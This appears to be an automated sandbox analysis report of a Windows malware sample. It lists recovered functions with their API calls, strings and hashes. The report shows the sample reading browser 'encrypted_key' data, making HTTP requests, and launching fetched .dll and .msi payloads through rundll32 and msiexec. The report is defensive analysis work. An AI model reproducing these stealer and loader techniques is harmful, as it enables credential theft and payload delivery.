
block, xrefs: 00EF17B7

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 13809f359161eef9bc971d8a6853ac2d08863bb0d9e023b6433d590df1692898
Instruction ID: d79a36933a8e0292d87c2633eab3bcbd8f7cc617445f852d014f8b64cda50236
Opcode Fuzzy Hash: 13809f359161eef9bc971d8a6853ac2d08863bb0d9e023b6433d590df1692898
Instruction Fuzzy Hash: 3D515EB4A0020DEFCB18DFA0D994BBE77B5BF84704F105098E61577280DBB0D951EBA2

Function 00EF2E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

ShellExecuteEx.SHELL32(0000003C), ref: 00EF31C5
ShellExecuteEx.SHELL32(0000003C), ref: 00EF335D
ShellExecuteEx.SHELL32(0000003C), ref: 00EF34EA

Strings

"" , xrefs: 00EF309A
C:\Windows\system32\msiexec.exe, xrefs: 00EF34BF
/i ", xrefs: 00EF33E4
C:\Windows\system32\rundll32.exe, xrefs: 00EF3332
.dll, xrefs: 00EF31E5
/passive, xrefs: 00EF345B
.msi, xrefs: 00EF3398
<, xrefs: 00EF3490

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 092929dadf4f231918a4f73fc13c7f0d464f021957ba002e9bf98b2c607cedd8
Instruction ID: 952829830dca00f4791c9b7d6a55704bd746abc970877d0efa2602c2b10f40d7
Opcode Fuzzy Hash: 092929dadf4f231918a4f73fc13c7f0d464f021957ba002e9bf98b2c607cedd8
Instruction Fuzzy Hash: 07121FB180010CAADB18EFA0DC56FFDB7B8AF54340F545179E60A7A095EF706B4ACB52

Function 6C7FEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C7C4A68), ref: 6C7F945E
Part of subcall function 6C7F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C7F9470
Part of subcall function 6C7F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C7F9482
Part of subcall function 6C7F9420: __Init_thread_footer.LIBCMT ref: 6C7F949F

GetCurrentThreadId.KERNEL32 ref: 6C7FEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7FEC8C

Part of subcall function 6C7F94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7F94EE
Part of subcall function 6C7F94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C7F9508

GetCurrentThreadId.KERNEL32 ref: 6C7FECA1
AcquireSRWLockExclusive.KERNEL32(6C83F4B8), ref: 6C7FECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C7FECC5
ReleaseSRWLockExclusive.KERNEL32(6C83F4B8), ref: 6C7FED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C7FED19
CloseHandle.KERNEL32(?), ref: 6C7FED28
free.MOZGLUE(00000000), ref: 6C7FED2F
ReleaseSRWLockExclusive.KERNEL32(6C83F4B8), ref: 6C7FED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C7FEC94

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 88a5d8841be719600cd204d352944487ac633c2e654bf5560016651576c5b0fc
Instruction ID: 2f1a60fc1be6cb785e4dfc342577480e9ad8ca2d1ca6deafdfe702b611f00743
Opcode Fuzzy Hash: 88a5d8841be719600cd204d352944487ac633c2e654bf5560016651576c5b0fc
Instruction Fuzzy Hash: B32126B16005189BCB209FA4DA4CAAB3739EB5632DF105A70FC2C47B41DB719806CBF1

Function 6C7DC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C7DC5A3
WideCharToMultiByte.KERNEL32 ref: 6C7DC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C7DC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C7DCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7DCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7DCAA5

Strings

0, xrefs: 6C7DD30A
(null), xrefs: 6C7DC596

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 3ef135ae2fc7a91fb17e5140fe009c2f78ae245750fdb5e528ebea3dc63e34e3
Instruction ID: e458daf409922c7eb4b32e8109619a889ee98e86ae4931fa673c1d6fae7be692
Opcode Fuzzy Hash: 3ef135ae2fc7a91fb17e5140fe009c2f78ae245750fdb5e528ebea3dc63e34e3
Instruction Fuzzy Hash: 12A1DF706083529FDB10DF28C68471ABBF1BF89349F0A892DE989D7741D735E805CB92

Function 00EF52C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EFA7E6

Part of subcall function 00EE6280: InternetOpenA.WININET(00F00DFE,00000001,00000000,00000000,00000000), ref: 00EE62E1
Part of subcall function 00EE6280: StrCmpCA.SHLWAPI(?,0175E560), ref: 00EE6303
Part of subcall function 00EE6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00EE6335
Part of subcall function 00EE6280: HttpOpenRequestA.WININET(00000000,GET,?,0175D838,00000000,00000000,00400100,00000000), ref: 00EE6385
Part of subcall function 00EE6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00EE63BF
Part of subcall function 00EE6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00EE63D1

Part of subcall function 00EFA8A0: lstrcpy.KERNEL32(?,00F00E17), ref: 00EFA905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00EF5318
lstrlen.KERNEL32(00000000), ref: 00EF532F

Part of subcall function 00EF8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00EF8E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00EF5364
lstrlen.KERNEL32(00000000), ref: 00EF5383
lstrlen.KERNEL32(00000000), ref: 00EF53AE

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

Strings

ERROR, xrefs: 00EF5432
ERROR, xrefs: 00EF530A
ERROR, xrefs: 00EF54A9
ERROR, xrefs: 00EF53B9
ERROR, xrefs: 00EF546F

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 43132f1cfe5a149079783db15e45511a05348829ac0f4637c85c6ff33d40e535
Instruction ID: 9f3b4681f5c2e3cd3e34e8ed2a1d02323f7bc69a011fd619d917538574131229
Opcode Fuzzy Hash: 43132f1cfe5a149079783db15e45511a05348829ac0f4637c85c6ff33d40e535
Instruction Fuzzy Hash: 55513EB191014C9BCB18FF60C996AFD77B8AF50340F549028FA0A7A591DF706B45DB52

Function 6C7B3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C7B3284,?,?,6C7D56F6), ref: 6C7B3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C7B3284,?,?,6C7D56F6), ref: 6C7B34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C7B3284,?,?,6C7D56F6), ref: 6C7B34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C7B350E
__Init_thread_footer.LIBCMT ref: 6C7B3522
__aulldiv.LIBCMT ref: 6C7B3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C7B3284,?,?,6C7D56F6), ref: 6C7B357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C7B3284,?,?,6C7D56F6), ref: 6C7B3592

Part of subcall function 6C7EAB89: EnterCriticalSection.KERNEL32(6C83E370,?,?,?,6C7B34DE,6C83F6CC,?,?,?,?,?,?,?,6C7B3284), ref: 6C7EAB94
Part of subcall function 6C7EAB89: LeaveCriticalSection.KERNEL32(6C83E370,?,6C7B34DE,6C83F6CC,?,?,?,?,?,?,?,6C7B3284,?,?,6C7D56F6), ref: 6C7EABD1

Strings

kernel32.dll, xrefs: 6C7B34EA
GetSystemTimePreciseAsFileTime, xrefs: 6C7B3508

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 7ac8f296741b85ad8c25733e6d6ed2582c285e741f8a9e664b93693822d74568
Instruction ID: 2f4f3193d6880e7c4bd3d0985ae993c723e967bf656e7a16faa5ac464dfb4dff
Opcode Fuzzy Hash: 7ac8f296741b85ad8c25733e6d6ed2582c285e741f8a9e664b93693822d74568
Instruction Fuzzy Hash: 3F318EB1B002059BDF30DFF9CE48EAA77B5EB55709B101839E509A3690EB74A944CBE0

Function 6C7B4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C7F4843,?), ref: 6C7B45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C7F4843,?), ref: 6C7B468A
free.MOZGLUE(?,?,?,?,?,?,6C7F4843,?), ref: 6C7B46C9
free.MOZGLUE(?), ref: 6C7B46EF
free.MOZGLUE(?), ref: 6C7B4712
free.MOZGLUE(?), ref: 6C7B4735
free.MOZGLUE(?), ref: 6C7B4758
free.MOZGLUE(?), ref: 6C7B477B
free.MOZGLUE(?), ref: 6C7B479E

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 2b528ac00a272dd07e3d1e8c5441eb209db46400102256585aff42cd4e609092
Instruction ID: 58f0aa8fe2e38bbe383fcd3a480a37b1fadf0cae9547ebcc61b6aa06298e768c
Opcode Fuzzy Hash: 2b528ac00a272dd07e3d1e8c5441eb209db46400102256585aff42cd4e609092
Instruction Fuzzy Hash: 53B1F372A001118FDB18DF3CDA9876D77B6AF42328F184679E816EFB82D7309840DB81

Function 00EF12D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 1922876ef90dc75b75faf11d9d85e776f1eadf60fa3d9dd10674bddebb8e1a85
Instruction ID: 825c67cfbf6dc212ff78c9c3956cd855e8302e541e92347d68246bb536d158a1
Opcode Fuzzy Hash: 1922876ef90dc75b75faf11d9d85e776f1eadf60fa3d9dd10674bddebb8e1a85
Instruction Fuzzy Hash: 58C195B590011DABCB28EF60DC89FEA73B8BF54304F0445E9E20E67141EA71AA95CF91

Function 00EF4280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EF8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00EF8E0B

lstrcat.KERNEL32(?,00000000), ref: 00EF42EC
lstrcat.KERNEL32(?,0175DF58), ref: 00EF430B
lstrcat.KERNEL32(?,?), ref: 00EF431F
lstrcat.KERNEL32(?,0175C990), ref: 00EF4333

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

Part of subcall function 00EF8D90: GetFileAttributesA.KERNEL32(00000000,?,00EE1B54,?,?,00F0564C,?,?,00F00E1F), ref: 00EF8D9F

Part of subcall function 00EE9CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00EE9D39

Part of subcall function 00EE99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00EE99EC
Part of subcall function 00EE99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00EE9A11
Part of subcall function 00EE99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00EE9A31
Part of subcall function 00EE99C0: ReadFile.KERNEL32(000000FF,?,00000000,00EE148F,00000000), ref: 00EE9A5A
Part of subcall function 00EE99C0: LocalFree.KERNEL32(00EE148F), ref: 00EE9A90
Part of subcall function 00EE99C0: CloseHandle.KERNEL32(000000FF), ref: 00EE9A9A

Part of subcall function 00EF93C0: GlobalAlloc.KERNEL32(00000000,00EF43DD,00EF43DD), ref: 00EF93D3

StrStrA.SHLWAPI(?,0175DE38), ref: 00EF43F3
GlobalFree.KERNEL32(?), ref: 00EF4512

Part of subcall function 00EE9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N,00000000,00000000), ref: 00EE9AEF
Part of subcall function 00EE9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00EE4EEE,00000000,?), ref: 00EE9B01
Part of subcall function 00EE9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N,00000000,00000000), ref: 00EE9B2A
Part of subcall function 00EE9AC0: LocalFree.KERNEL32(?,?,?,?,00EE4EEE,00000000,?), ref: 00EE9B3F

lstrcat.KERNEL32(?,00000000), ref: 00EF44A3
StrCmpCA.SHLWAPI(?,00F008D1), ref: 00EF44C0
lstrcat.KERNEL32(00000000,00000000), ref: 00EF44D2
lstrcat.KERNEL32(00000000,?), ref: 00EF44E5
lstrcat.KERNEL32(00000000,00F00FB8), ref: 00EF44F4

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
